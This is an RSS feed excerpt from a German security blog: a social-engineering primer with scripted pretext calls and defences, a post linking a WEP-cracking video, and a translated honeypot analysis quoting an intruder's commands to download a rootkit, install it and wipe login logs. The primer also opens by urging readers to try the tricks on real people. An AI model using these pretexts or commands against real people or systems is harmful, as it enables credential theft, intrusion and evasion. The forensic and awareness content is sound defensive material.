		<description><![CDATA[Versucht das ganze, was ihr jetzt lesen werdet ruhig auch mal umzusetzen. Ihr werdet erstaunt sein, wie viele Menschen euch ihre Passwörter einfach preisgeben werden. Kevin Mitnick zB. hat einen Großteil seiner &#8216;Einbrüche&#8217; nur mit Hilfe von Social Engeneering verübt. Ihr solltet nur aufpassen, das ihr keine auffällige Kinderstimme habt (an alle 12 jährigen 1337-Kiddies). [...]]]></description>
			<content:encoded><![CDATA[<p><span class="postbody">Versucht das ganze, was ihr jetzt lesen werdet ruhig auch mal umzusetzen. Ihr werdet erstaunt sein, wie viele Menschen euch ihre Passwörter einfach preisgeben werden. Kevin Mitnick zB. hat einen Großteil seiner &#8216;Einbrüche&#8217; nur mit Hilfe von Social Engeneering verübt. Ihr solltet nur aufpassen, das ihr keine auffällige Kinderstimme habt (an alle 12 jährigen 1337-Kiddies).</span></p>
<p><strong>Definition </strong></p>
<p>Das Social Engineering (dt.: Soziale Manipulation) ist eine Spionageattacke, die sich auf sozialer Ebene abspielt. Ein Social Engineer versucht sein Opfer so zu manipulieren, dass es ihm die Informationen gibt, die er haben möchte. Dies kann schwere Folgen haben, da der Social Engineer meist auf geheime, sicherheitsrelevante Informationen aus ist und er sich das schwächste Glied eines Unternehmens aussucht &#8211; die Mitarbeiter. Durch die nicht technische Vorgehensweise werden dann ausgeklügelte technische Sicherheitsvorkehrungen mit einem Schlag wertlos. Solche Angriffe, auf nichts-ahnende Personen, werden nach dem Geschehen auch nur sehr selten bemerkt und deshalb ist es notwendig die Mitarbeiter zu schulen. Grundsätzlich wird dieses Thema in 3 verschiedene Bereiche gegliedert:<br />
Das Computer Based Social Engineering, das Human Based Social Engineering und das Reverse Social Engineering.</p>
<p>Der Unterschied ist folgender:<br />
Das Computer Based Social Engineering wird den meisten Leuten wohl im Internet begegnen. Lästige PopUps &#8211; wer kennt sie nicht &#8211; springen auf und geben vor, dass man bei irgendeiner Verlosung, bei einem Gewinnspiel oder sonstigem gewonnen hat. Lässt man sich davon beeindrucken, so führt der Weg z.B. zu einem Formular, in dem man seine persönlichen Daten eintragen soll und dann nur den kleinen Submit-Button betätigen muss, um den großen Gewinn geliefert zu bekommen. Das wird höchst wahrscheinlich bei keiner dieser PopUp Meldungen der Fall sein (Warum auch? Sie haben ja eine Seite betreten und (wahrscheinlich) nicht einmal an einem solchen Gewinnspiel teilgenommen.)</p>
<p>Das Human Based Social Engineering versucht eher Informationen auf direktem Wege zu erhalten. So durchwühlen Informationsbegehrte z.B. die Mülltonnen einer Firma (Sie glauben gar nicht wie viele Informationen ein Social Engineer dabei ergattert), geben sich bei Telefonaten als ein Mitarbeiter einer anderen Abteilung aus, suchen innerhalb von Häusern nach Informationen oder beobachten die Zielpersonen. Mit diesem Bereich setze ich mich hier hauptsächlich auseinander.</p>
<p>Bei dem Reverse Social Engineering agiert der Angreifer als &#8220;Retter in der Not&#8221;. Er<br />
verursacht ein Problem und behauptet anschließend derjenige zu sein, der damit beauftragt wurde, dasselbe zu lösen. Er geht dabei so raffiniert vor, dass der/die Mitarbeiter/in ihm jede Information verschafft, die er benötigt. Vor allem reagieren die Betroffenen immer sehr hilfsbereit, da man ja möglichst immer zur Seite stehen möchte, wenn jemand ein schwieriges Problem hat und er die benötigten Informationen zur Lösung nicht besitzt. Hierfür muss der Angreifer ebenfalls (wie bei den anderen beiden Bereichen) erst einmal Informationen sammeln, um sich dann am Telefon als Autoritätsperson ausgeben zu können.</p>
<p><span class="postbody"><br />
<strong>Methoden </strong></span></p>
<p>Die meisten Leute gehen davon aus, sie könnten erkennen wenn sie jemand manipulieren oder ihnen etwas vortäuschen will. So werden sie irgendwann einmal (und das mit Sicherheit, wenn es nicht schon passiert ist) zu einem Opfer einer Spionageaktion, da der Social Engineer die Schwächen des Menschen auszunutzen versucht, indem er z.B. ihr Vertrauen gewinnt oder auch die kleinsten Informationsteilchen ergattert, die dem Einzelnen vielleicht gar nicht als wichtig erscheinen, aber bei Zusammenfügen zu einem vollständigen Puzzle mit hohem Informationsgrad werden können, das bei Anwendung durchaus schwere Folgen für Firmen oder Privatleute haben kann. Hier ein paar Methoden eines Social Engineers:</p>
<p>Vertrauensgewinnung des &#8220;Opfers&#8221;<br />
Kommunikation im Fachjargon des Unternehmens<br />
Vortäuschen eine Autoritätsperson zu sein<br />
Vortäuschung von verschiedenen Stimmungslagen (hektisch, ärgerlich, freundlich)<br />
Selbst ein Problem verursachen und als &#8220;Retter in der Not&#8221; agieren<br />
Personen ohne Fachwissen zu sicherheitsgefährdenden Aktionen bewegen<br />
Durchsuchung von Müllanlagen der Zielperson/des Zielunternehmens<br />
usw.</p>
<p><strong>Beispielszenarien </strong></p>
<p><em> Szenario 1 &#8211; Das neue Sicherheitssystem </em></p>
<p>Ich nenne den Social Engineer hier einmal Michael und das &#8220;Opfer&#8221; Jennifer.</p>
<p>Jennifer: Microsystems GmbH Frankfurt[*], schönen guten Tag, Sie sprechen mit Jennifer Meier.<br />
Michael: Guten Tag Frau Meier, hier spricht Michael Lenden aus München. Ich bin zuständig für die Umstellung der Serversysteme hier bei Microsystems in München.<br />
Jennifer: Was kann ich für Sie tun?<br />
Michael: Ich benötige wohl einmal ihre ID, die OneCard Nummer und ihr Passwort.<br />
Jennifer: OneCard Nummer? Sowas besitze ich nicht! Was soll das sein?<br />
Michael: Oh, haben Sie denn noch nichts von der Änderung gehört?<br />
Jennifer: Nein, welche Änderung?<br />
Michael: Wir haben hier vor ein paar Tagen eine Umstrukturierung vorgenommen, um die Sicherheit der Kundendaten zu erhöhen. Das System ist nun durch eine doppelte Authentifizierung von ID und OneCard Nummer sicherer vor Zugriff unbefugter Personen. Jeder Mitarbeiter sollte eine OneCard Nummer in einer Email zugesendet bekommen haben, um sich authentifizieren zu können. Die Person, die die OneCard Nummern verschickt hat, ist nur leider für eine längere Zeit krank geschrieben und ich wurde beauftragt die weiteren Umstellungen für ihn vorzunehmen, habe aber leider die Liste der Mitarbeiterdaten nicht hier. Deshalb muss ich nun jeden Mitarbeiter danach fragen.<br />
Jennifer: Ich würde Ihnen ja gerne helfen, aber ich habe eine solche Nummer nicht bekommen.<br />
Michael: Komisch, die eMail müsste spätestens heute angekommen sein. Schauen Sie vielleicht bitte nocheinmal eben in Ihrem Postfach nach?<br />
Jennifer: Ok, einen Moment &#8211; ah ja, da ist etwas gekommen &#8211; moment. Wie war der Name Ihres kranken Mitarbeiters doch gleich?<br />
Michael: Stefan Beckenheim.<br />
Jennifer: Ja, ich habe eine eMail von ihm bekommen. Ah ja, da ist ja die Nummer. Ich diktiere: 1-3-645-234-954. Sonst noch etwas?<br />
Michael: Dann bräuchte ich nur noch Ihre ID und das Passwort.<br />
Jennifer: Ok, die ID ist &#8220;Jenn&#8221; und der Passwort &#8220;JennMei&#8221;.<br />
Michael: Ok, vielen Dank, ich werde dann nun Ihren Account auf das neue System umstellen.<br />
Jennifer: Alles klar, vielen Dank. Bestellen Sie Ihrem Mitarbeiter bitte gute Besserung.<br />
Michael: Werde ich machen. Wiederhören!</p>
<p>* Anmerkung:<br />
Die Verwendung von bestehenden Firmennamen ist nicht beabsichtigt. Sie sind ausgedacht und stehen in keinerlei Zusammenhang mit existierenden Firmen.</p>
<p><em> Szenario 2 &#8211; Die Hilfestellung in der Not </em></p>
<p>Stellen Sie sich einmal eine Buchhalterin vor. Diese arbeitet den ganzen Tag am Computer, besitzt aber meistens kein Fachwissen über diesen. Nun ruft ein angeblicher Systemverwalter bei dieser Dame an und gibt vor, es gäbe einige Probleme mit Rechnern anderer Mitarbeiter und er wolle nun prüfen, ob sich bei ihrem Rechner dieselben Probleme zeigen. Er gibt ihr ein paar Anweisungen, was sie tun soll. Nach einigen Aktionen gibt er ihr die Aufgabe ihr eigenes Passwort zu ändern. Dieses solle sie tun, da man ein Update aufgesetzt hat, was das ermöglicht. Dazu solle sie ihm ihr altes allerdings auf keinen Fall laut nennen. Das neue Passwort soll nun &#8220;test123&#8243; heißen. Sie ändert es und loggt sich aus. Nach einigen Minuten soll sie sich dann wieder einloggen. Er sagt zu ihr, dass es keine Probleme mit ihrem Computer gäbe und sie nun beruhigt ihr Passwort wieder ändern und mit ihrer Arbeit fortfahren könne. Sie ist sehr erleichtert, bedankt sich und legt auf.</p>
<p><strong>Analyse </strong></p>
<p><em> Szenario 1 </em></p>
<p>Was ist hier passiert? Der Social Engineer hat sich als ein Mitarbeiter einer Abteilung in einer anderen Stadt, jedoch des gleichen Unternehmens, ausgegeben. Er hat die &#8220;Mitarbeiterin&#8221; mit einer angeblichen Änderung im System konfrontiert. Da es sich hierbei, wie so oft, um eine sicherheitsrelevante Änderung gehandelt und er ihr dieses &#8220;neue System&#8221; geläufig gemacht hat, wurde schon die erste Vorstufe zum Vertrauen errichtet. Dann erzählte er ihr von dem kranken Mitarbeiter, für den er seine Aufgaben nun erledigen sollte. Er gab vor, keine Informationen über die Daten (&#8220;OneCard Nummer&#8221;, ID, Passwort) der Mitarbeiter vorliegen zu haben und nun die Hilfe der Mitarbeiter selbst benötige. Hier sieht man &#8211; zwar nicht so ausgeprägt wie es sein könnte -, die Methoden des Social Engineers, nämlich die Vertrauensgewinnung (durch Status(Rang), benötigen von Hilfe, u.a.), Hilfestellung (hier: in Form der Aufklärung über das neue System) und die Überzeugung der Tatsache dadurch, dass die Mitarbeiterin eine persönliche Email erhalten hat. Diese Email war natürlich nur ein Fake und der erkrankte Mitarbeiter existiert auch nicht, aber beides verschaffte dem Angreifer Vertrauen vom &#8220;Opfer&#8221;. Die &#8220;OneCard Nummer&#8221; war auch eine erdachte Geschichte und sollte nur zur Ablenkung und Vertrauensgewinnung für die wirklich wichtigen Informationen sein, nämlich der ID und des Passworts, mit denen der Angreifer nun Zugriff auf das System hat und sich vielleicht sogar durch Schwachstellen eine (noch) höhere Authentität erringen kann.</p>
<p><em> Szenario 2 </em></p>
<p>Der Social Engineer agiert hierbei als Retter vor/in der Not. Er gibt der Dame einige Anweisungen, um festzustellen, ob ihr Rechner dieselben Symptome aufzeigt oder nicht. Dazu muss sie ihr Passwort ändern. Er sagt allerdings zu ihr, dass sie ihr altes Passwort auf keinen Fall vorlesen solle. Damit erhält der Angreifer wiedereinmal Vertrauen und Gläubigkeit des &#8220;Opfers&#8221;. Sie schöpft also keinen Verdacht von irgendeinem Spionageangriff. In der Zwischenzeit aber, als die Dame sich vom System abgemeldet hat, hat der Social Engineer genügend Zeit, um sich selbst anzumelden (das Passwort ist ja nun &#8220;test123&#8243;) und ein Trojanisches Pferd zu installieren. Nach einigen Minuten loggt die Dame sich dann wieder ein und ist froh, als ihr der angebliche Systemverwalter ihr mitteilt, dass ihr System nicht von den Problemen betroffen ist und sie nun wieder mit ihrer Arbeit fortfahren könnte. Der Angreifer hat durch dieses von ihm entworfene Programm vollen Zugriff auf die Ressourcen der Frau. Er könnte nun alle möglichen (, sensiblen!?) Daten einsehen und so mehr über die Abläufe in der Firma lernen, um so vielleicht weitere Social Engineering Attacken auf diese Firma auszuüben!</p>
<p><strong>Schutzmaßnahmen </strong></p>
<p>Da Angriffe eines Social Engineers auch (noch) schwerere Folgen haben können als in den obigen Beispielen gezeigt, ist es wichtig, die Mitarbeiter einer Firma über solcherlei Befragungen aufzuklären, damit sie davor geschützt werden können. Außerdem sollten Sicherheitsrichtlinien eingeführt werden, die z.B. verbieten, einer Person, die sich als Mitarbeiter ausgibt, Daten mitzuteilen, ohne die Identität und die Befugnis der Person zu überprüfen. Das Hauptziel ist fast immer ein Passwort. Deshalb sollten die Mitarbeiter darin geschult werden, kein Vertrauen aufzubauen, alles in Frage zu stellen und niemals Passwörter oder Informationen über Mitarbeiter weiterzugeben. Falls dieses Weitergabe wirklich nötig ist, um z.B. eine reale Umstellung der Systeme durchzuführen, so sollten diese Daten am besten gar nicht erst telefonisch, sondern nur mit direktem Kontakt oder über firmeninterne Medien übergeben werden, die nicht in Verbindung mit außerfirmlichen Medien wie z.B. dem Internet zusammenhängen.</p>
<p>Wichtige Daten sollten nur an einen kleinen Personenkreis weitergegeben werden, der diese wirklich benötigt und der darin geschult ist, damit vorsichtig und achtsam umzugehen. Daten, die einem selbst vielleicht als unwichtig erscheinen, sollten trotzdem ohne Anfrage nach dem Verwendungszweck und Identitätsprüfung der Person auf der anderen Seite auf keinen Fall weitergegeben werden. Auch sollte jeder in der Lage sein, beurteilen zu können, ob diese Informationen in Verbindung mit anderen zu einem Sicherheitsrisiko für die Firma werden können und ob &#8220;der Gegenüber&#8221; für das Besitzen dieser Informationen wirklich befugt ist. Die beste Vorsorge ist aber, den Mitarbeitern keinen Zugang zu diesen Informationen zu geben, sondern nur einer Person, die sehr gut damit umgehen kann und die Methoden eines Social Engineers erkennt und ins Leere laufen lässt. Das Entsorgen von Papier sollte erst nachgründlichem Schreddern geschehen.</p>
<p>Andere Vorsichtsmaßnahmen sollten auch getroffen werden, die aber mehr zur Sicherung der EDV-System gehören. So sollten Passwörter in regelmäßigen Abständen von 2-4 Wochen geändert werden und aus Groß-, Kleinbuchstaben, Sonderzeichen, Zahlen und mindestens 8 Stellen bestehen. Die Systeme sollten auch einen Viren- bzw. Trojanerscanner beinhalten, der in kurzen Abständen von bis zu 3 Tagen aktualisiert werden. Sicherheitsrelevante Daten sollten erschlüsselt werden und nur innerhalb des Firmennetzwerkes verfügbar sein. Damit sollte der Schutz gegen die meisten Angriffe eines Social Engineers gesichert sein.<br />
Weitere Sicherheitsmaßnahmen innerhalb der Gebäudearchitektur sind z.B. die Installierung von Kameras und Retinascannern (Stichwort: Biometrie). Ansonsten sollte man eventuell eine Karte einführen, die jeder Mitarbeiter erhält und womit sich jeder Mitarbeiter beim Beginn und Ende eines Arbeitstages ein- und auschecken sollte. Gäste sollten eine provisorische Karte erhalten und sich in einer Liste eintragen.</p>
<p>All diese Sicherheitsmaßnahmen bringen aber keinen Nutzen, wenn ein Mitarbeiter nicht versteht, warum sie eingeführt werden und was damit überhaupt verhindert wird. Deshalb sollten spezielle Trainingsseminare durchgeführt werden, wo sie dieses erlernen und anhand von Beispielen verstehen. Diese Seminare sollten nicht einmalig durchgeführt werden; in regelmäßigen Abständen sollten Ihre Mitarbeiter erinnert werden und an diesen Seminaren teilnehmen.</p>
<p><strong> Literatur </strong></p>
<p>Die Kunst der Täuschung (ISBN: 3-8266-0999-9, Verlag: mitp)<br />
Google: Social Engineering</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/social-engineering-risikofaktor-mensch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking WEP with Kismac</title>
		<link>http://blog.danielschroeter.de/security-informations/hacking-wep-with-kismac/</link>
		<comments>http://blog.danielschroeter.de/security-informations/hacking-wep-with-kismac/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 16:39:55 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/?p=152</guid>
		<description><![CDATA[In ca. 10 Minuten kannst du mit diesem Video Tutorial mit KisMac (MacOSX) ein WEP Verschlüsseltes WLAN Netzwerk hacken. In dem Video wird die Netzwerkkarte &#8220;Netgear MA111 v1&#8243; (USB Gerät) verwendet. Diese Karte wird mit einem Prism2 chipset benötigt. Viel Spaß damit! Download URL: How to hack a WLAN with Kismac (Mac OS X) Google [...]]]></description>
			<content:encoded><![CDATA[<p>In ca. 10 Minuten kannst du mit diesem Video Tutorial mit KisMac (MacOSX) ein WEP Verschlüsseltes WLAN Netzwerk hacken.</p>
<p>In dem Video wird die Netzwerkkarte &#8220;Netgear MA111 v1&#8243; (USB Gerät) verwendet. Diese Karte wird mit einem Prism2 chipset benötigt.</p>
<p>Viel Spaß damit!</p>
<p><strong>Download URL:</strong> <a href='http://www.danielschroeter.de/downloads/wepkismac.mov' >How to hack a WLAN with Kismac (Mac OS X)</a></p>
<p><strong>Google Video:</strong> http://video.google.com/videoplay?docid=-1021256519470427962</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/hacking-wep-with-kismac/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.danielschroeter.de/downloads/wepkismac.mov" length="9524634" type="video/quicktime" />
		</item>
		<item>
		<title>Den Feind Kennen &#8211; Teil 3</title>
		<link>http://blog.danielschroeter.de/security-informations/den-feind-kennen-teil-3/</link>
		<comments>http://blog.danielschroeter.de/security-informations/den-feind-kennen-teil-3/#comments</comments>
		<pubDate>Sun, 30 Mar 2008 11:20:30 +0000</pubDate>
		<dc:creator>Daniel</dc:creator>
				<category><![CDATA[Security Informations]]></category>

		<guid isPermaLink="false">http://www.danielschroeter.de/blog/security-informations/den-feind-kennen-teil-3/</guid>
		<description><![CDATA[Dies ist der dritte Artikel aus einer Serie, die sich auf das Script Kiddie konzentriert. Der erste Teil beschäftigt sich damit, wie Script Kiddies Schwächen suchen, identifizieren und ausnutzen. Der zweite Teil erklärt, wie man solche Versuche erkennt, die eingesetzten Tools identifiziert und erkennt, wonach gesucht wird. Dieser Teil, der dritte, konzentriert sich darauf, was [...]]]></description>
			<content:encoded><![CDATA[<p>Dies ist der dritte Artikel aus einer Serie, die sich auf das Script Kiddie<br />
konzentriert. Der erste Teil beschäftigt sich damit, wie Script Kiddies<br />
Schwächen suchen, identifizieren und ausnutzen. Der zweite Teil erklärt, wie man<br />
solche Versuche erkennt, die eingesetzten Tools identifiziert und erkennt,<br />
wonach gesucht wird. Dieser Teil, der dritte, konzentriert sich darauf, was<br />
passiert, wenn sie erst mal root sind und hier besonders darauf, wie sie ihre<br />
Spuren verwischen und was sie als nächstes tun.</p>
<p><strong>Wer ist das &#8220;Script Kiddie&#8221;?</strong><br />
wie bereits im ersten Teil erklärt, ist das &#8220;Script Kiddie&#8221; nicht so sehr eine<br />
Person als vielmehr eine Strtegie: die Strategie, nach dem schnellen Erfolg zu<br />
suchen. Man sucht nicht nach speziellen Informationen oder greift eine spezielle<br />
Firma an, es geht nur darum, so einfach wie möglich root zu werden.<br />
Eindringlinge versuchen das, indem sie sich auf eine kleine Anzahl Schwächen<br />
beschränken und dann das ganze Internet danach absuchen. Dies ist nicht zu<br />
unterschätzen, denn früher oder später finden sie jemand verwundbaren.</p>
<p>Wenn sie erstmal ein verwundbares System gefunden haben und root geworden sind,<br />
werden normalerweise als erstes die Spuren verwischt. Sie möchten sichergehen,<br />
dassDu nicht weißt, dass dein System gehackt wurde und dass Du ihre Aktionen nicht<br />
sehen oder loggen kannst. Danach benutzten sie dein System oft, um andere<br />
Netzwerke zu scannen oder überwachen dein System im Stillen. Um besser zu<br />
verstehen, wie sie dieses bewerkstelligen, folgen wir einfach den Schritten auf<br />
einem System das von einem Eindringling mit Hilfe von &#8220;Script Kiddie&#8221;-Taktiken<br />
geknackt wurde. Unser System namens Mozart läuft unter Red Hat Linux 5.1 und<br />
wurde am 27.04.1999 kompromittiert. Es folgen die tatsächlichen Schritte, die<br />
der Störenfried gemacht hat, mit den Systemlogs und Tastatureingaben um jeden<br />
Schritt nachvollziehen zu können. Alle Systemlogs wurden auf einem geschützten<br />
Syslogserver abgelegt und alle Eingaben wurden mit Hilfe von sniffit<br />
(ftp://ftp.technotronic.com/unix/network-sniffers) aufgezeichnet. Mehr<br />
Informationen darüber, wie die Informationen gesammelt wurden stehen in &#8220;Wie<br />
baut man einen Honigtopf&#8221; (http://www.enteract.com/~lspitz/honeypot.html). Im<br />
folgenden wird der Eindringling immer als &#8220;er&#8221; bezeichnet, obwohl wir keine<br />
Ahnung über das tatsächliche Geschlecht des Täters haben.</p>
<p><strong>Der Angriff</strong><br />
Am 27.04. um 00:13 Uhr wurde unser Netzwerk von einem System 1Cust174.tnt2.long-<br />
branch.nj.da.uu.net auf verschiedene Schwächen inklusive nmap gescannt. Unser<br />
Eindringling hat dabei &#8220;Lärm&#8221; gemacht, da jedes unserer Systeme getestet wurde<br />
(mehr Informationen über das erkennen und analysieren solcher Scans finden sich<br />
im zweiten Teil).</p>
<p>Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174<br />
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174<br />
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174</p>
<p>Anscheinend hat er etwas gefunden, was ihm gefallen hat, denn er kam am gleichen<br />
Tag noch um 06:52 und 16:47 Uhr zurück. Er begann mit einem intensiveren Test<br />
und konzentrierte sich dabei auf das System Mozart. Er fand eine Schwäche und<br />
startete einen erfolgreichen Angriff gegen mountd, eine allgemein bekannte<br />
Schwachstelle in Red Hat 5.1. Hier kann man in /var/log/messages sehen, wie der<br />
Eindringling root wurde. Das Tool, das er dazu benutzte war wahrscheinlich<br />
ADMountd.c /ftp://adm.freelsd.net/pub/ADM) oder etwas ähnliches.</p>
<p>Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client<br />
208.252.226.174.<br />
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together<br />
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to<br />
mount<br />
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P<br />
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~</p>
<p>Direkt im Anschluß sehen wir in /var/adm/messages, wie unser Eindringling root<br />
wurde, indem er sich per Telnet als User crak0 einloggte und sich dann per su<br />
zum User rewt machte. Beide Accounts wurden durch das Angriffsskript angelegt.<br />
Jetzt hat er volle Kontrolle über das System.</p>
<p>Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM<br />
1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, 	User not known to the<br />
underlying authentication module<br />
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user<br />
crak0 by (uid=0)<br />
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM<br />
1Cust102.tnt1.long-branch.nj.da.uu.net<br />
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt<br />
by crak0(uid=0)</p>
<p><strong>Spuren verwischen</strong></p>
<p>Der Fremde ist jetzt als root im System. Wie wir jetzt sehen werden, ist sein<br />
nächster Schritt sicherzustellen, das er nicht erwischt wird. Als erstes prüft<br />
er, ob noch andere User angemeldet sind:</p>
<p>[crak0@mozart /tmp]$ w<br />
4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00<br />
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT<br />
crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w</p>
<p>Nachdem er festgestellt hat, daß er allein ist, wird alle seine Taten unsichtbar<br />
machen wollen. Das bedeutet normalerweise, das er alle Beweise aus den Logfiles<br />
löscht und Systemdateien wie ps oder netstat durch Trojanische Pferde ersetzt,<br />
so daß man ihn im System nicht erkennen kann. Sind die Trojaner erst einmal<br />
installiert, hat er die totale Kontrolle über das System und Du wirst es sehr<br />
wahrscheinlich niemals herausbekommen. Genauso, wie es Skripte zum<br />
automatisiertem Hacken gibt, gibt es auch Skripte zum automatischen verstecken<br />
von Eindringlingen, oft rootkits genannt. Eines der gebräuchlicheren ist lrk4<br />
(ftp://ftp.technotronic.com/unix/trojans). Durch das Ausführen des Skripts<br />
werden eine Reihe kritischer Dateien ersetzt und tarnen den User in wenigen<br />
Sekunden. Mehr Informationen über rootkits finden sich im Readme von lrk4.<br />
Dadurch bekommt man eine bessere Vorstellung wie diese rootkits im allgemeinen<br />
funktionieren. Ich würde auch empfehlen, hide-and-seek<br />
(http://www.enteract.com/~lspitz/hide-n-seek.html) zu lesen, ein Text über das<br />
Spuren verwischen, geschrieben von den Bösen.</p>
<p>Innerhalb weniger Minuten, nachdem das System kompromittiert war, konnte man<br />
beobachten, wie der Eindringling das rootkit herunterlud und mit &#8220;make install&#8221;<br />
implementierte. Es folgen seine tatsächlichen Tastatureingaben um sich<br />
unsichtbar zu machen:</p>
<p>cd /dev/<br />
su rewt<br />
mkdir &#8220;. &#8221;<br />
cd &#8220;. &#8221;<br />
ftp technotronic.com<br />
anonymous<br />
fdfsfdsdfssd@aol.com<br />
cd /unix/trojans<br />
get lrk4.unshad.tar.gz<br />
quit<br />
ls<br />
tar -zxvf lrk4.unshad.tar.gz<br />
mv lrk4 proc<br />
mv proc &#8220;. &#8221;<br />
cd &#8220;. &#8221;<br />
ls<br />
make install</p>
<p>Beachte, daß er als erstes ein verstecktes Verzeichnis &#8220;.&#8221; erzeugt, um darin<br />
sein rootkit zu verstecken. Dieses Verzeichnis taucht beim &#8220;ls&#8221; Befehl nicht auf<br />
und sieht bei einem &#8220;ls -la&#8221; wie das lokale Verzeichnis aus. Eine Möglichkeit<br />
dieses Verzeichnis zu finden ist das &#8220;find&#8221; Kommando (stelle sicher, daß Du der<br />
Integrität deiner &#8220;find&#8221; Datei vertrauen kannst):</p>
<p>mozart #find / -depth -name &#8220;*.*&#8221;<br />
/var/lib/news/.news.daily<br />
/var/spool/at/.SEQ<br />
/dev/. /. /procps-1.01/proc/.depend<br />
/dev/. /.<br />
/dev/.</p>
<p>Unser Störenfried mag ja gut im Umgang mit Trojanern sein, aber sein Ansatz um<br />
die Logdateien zu säubern, war etwas einfacher gestrickt. Anstatt Tools wie zap2<br />
oder clean zu nutzen, kopierte er einfach /dev/null in die Dateien /var/run/utmp<br />
und /var/log/utmp und löschte /var/log/wtmp. Man ahnt, daß etwas faul ist, wenn<br />
diese Dateien leer sind oder man den folgenden Fehler bekommt:</p>
<p>[root@mozart sbin]# last -10<br />
last: /var/log/wtmp: No such file or directory<br />
Perhaps this file was removed by the operator to prevent logging last<br />
info.</p>
<p><strong>Der nächste Schritt</strong></p>
<p>Wenn Eindringlinge erst einmal ein System kompromittiert haben, neigen sie dazu,<br />
eines von zwei Dingen zu tun. Entweder sie benutzen das System dazu, andere<br />
Rechner im Internet zu scannen oder sie machen es sich gemütlich und sehen zu,<br />
was sie über Dein System lernen können, z.B. Accounts oder Passwörter für andere<br />
Systeme. Unser Eindringling entschied sich für die zweite Variante: zurücklehnen<br />
und sehen, was man lernen kann. Er installierte einen Sniffer, der unseren<br />
gesamten Netzwerkverkehr abfing, inklusive der Telnet und ftp Verbindungen zu<br />
anderen Systemen. Auf diese Weise konnte er Logins und Passwörter in Erfahrung<br />
bringen. In /var/log/messages sehen wir, wie das System kurz nach dem Einbruch<br />
in den &#8220;promiscuous mode&#8221; geht:</p>
<p>Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.<br />
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.</p>
<p>Nachdem er seine Trojaner-Binaries installiert, die Logs gesäubert und den<br />
Sniffer gestartet hatte, trennte der Eindringling die Verbindung. Wir werden ihn<br />
jedoch am nächsten wiederkehren sehen, um herauszufinden, was für Verkehr er<br />
aufgefangen hatte.</p>
<p><strong>Schadensbegrenzung</strong><br />
Da unser Freund die Verbindung gekappt hatte, bekam ich die Möglichkeit das<br />
System zu prüfen und herauszufinden was genau geschehen war. Ich war sehr daran<br />
interessiert herauszufinden, was verändert worden war und wo er die<br />
Informationen, die der Sniffer sammelte, ablegte. Zuerst fand ich mit Hilfe von<br />
tripwire (ftp://coast.cs.purdue.edu/pub/COAST/Tripwire) schnell heraus, welche<br />
Dateien modifiziert waren. Anmerkung: stelle sicher, das tripwire von der<br />
sicheren Quelle gestartet wird. Ich lasse gerne eine statisch gelinkte Version<br />
von einer Floppy mit Schreibschutz laufen. Tripwire zeigte folgendes:</p>
<p>added:   -rw-r&#8211;r&#8211; root            5 Apr 27 17:01:16 1999<br />
/usr/sbin/sniff.pid<br />
added:   -rw-r&#8211;r&#8211; root          272 Apr 27 17:18:09 1999<br />
/usr/sbin/tcp.log<br />
changed: -rws&#8211;x&#8211;x root        15588 Jun  1 05:49:22 1998 /bin/login<br />
changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin<br />
changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find<br />
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd<br />
changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top<br />
changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998<br />
/usr/bin/killall<br />
changed: -rws&#8211;s&#8211;x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn<br />
changed: -rws&#8211;s&#8211;x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh<br />
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin<br />
changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd<br />
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998<br />
/usr/sbin/rpc.nfsd<br />
changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998<br />
/usr/sbin/in.rshd<br />
changed: -rwxr-x&#8212; root       235516 Apr  4 22:11:56 1999<br />
/usr/sbin/syslogd<br />
changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd<br />
changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin<br />
changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig<br />
changed: -rw-r&#8211;r&#8211; root          649 Apr 27 16:59:54 1999 /etc/passwd</p>
<p>Wie man sehen kann wurde eine Vielzahl von Dateien un Binaries modifiziert. Es<br />
gab keine neuen Einträge in der /etc/passwd (schlauerweise hatte er den crak0<br />
